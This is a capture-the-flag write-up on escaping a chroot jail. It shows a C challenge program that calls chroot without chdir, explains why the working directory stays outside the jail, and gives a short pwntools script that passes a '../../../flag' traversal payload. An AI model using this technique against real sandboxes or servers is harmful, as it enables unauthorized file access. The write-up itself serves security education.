Chroot without chdir
Challenge Source Code
//c.c
#include <assert.h>
#include <fcntl.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/sendfile.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
int main(int argc, char **argv, char **envp)
{
assert(argc > 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 1);
assert(argc > 1);
char jail_path[] = "/tmp/jail-XXXXXX";
assert(mkdtemp(jail_path) != NULL);
assert(chroot(jail_path) == 0);
int fffd = open("/flag", O_WRONLY | O_CREAT);
write(fffd, "try harder", 10);
close(fffd);
sendfile(1, open(argv[1], 0), 0, 128);
}Vulnerability Analysis
The vulnerability is a missing chdir("/") after chroot().
assert(chroot(jail_path) == 0);
// Missing: chdir("/");The chroot system call changes the root directory (/) for the process, but it does not automatically change the Current Working Directory (CWD). If the process was in /home/user before the chroot, it remains in /home/user afterwards—even if /home/user is outside the new jail root.
Because the CWD is outside the jail, relative paths like ../ are resolved relative to the host’s filesystem, allowing us to traverse up to the real root.
Exploitation Plan
- Traverse Up: Since our CWD is effectively “outside” the new root, we can use
../../to reach the real root directory. - Access Flag: Provide the path
../../../flag(or enough../s) as the argument to the program. The program will resolve this relative to the CWD, reaching the real flag.
Exploit Script
from pwn import *
elf = context.binary = ELF("./challenge")
# We pass a relative path containing multiple '../' to traverse out of the jail
# and reach the real flag file.
payload = "../../../flag"
p = process([elf.path, payload])
print(p.recvall().decode())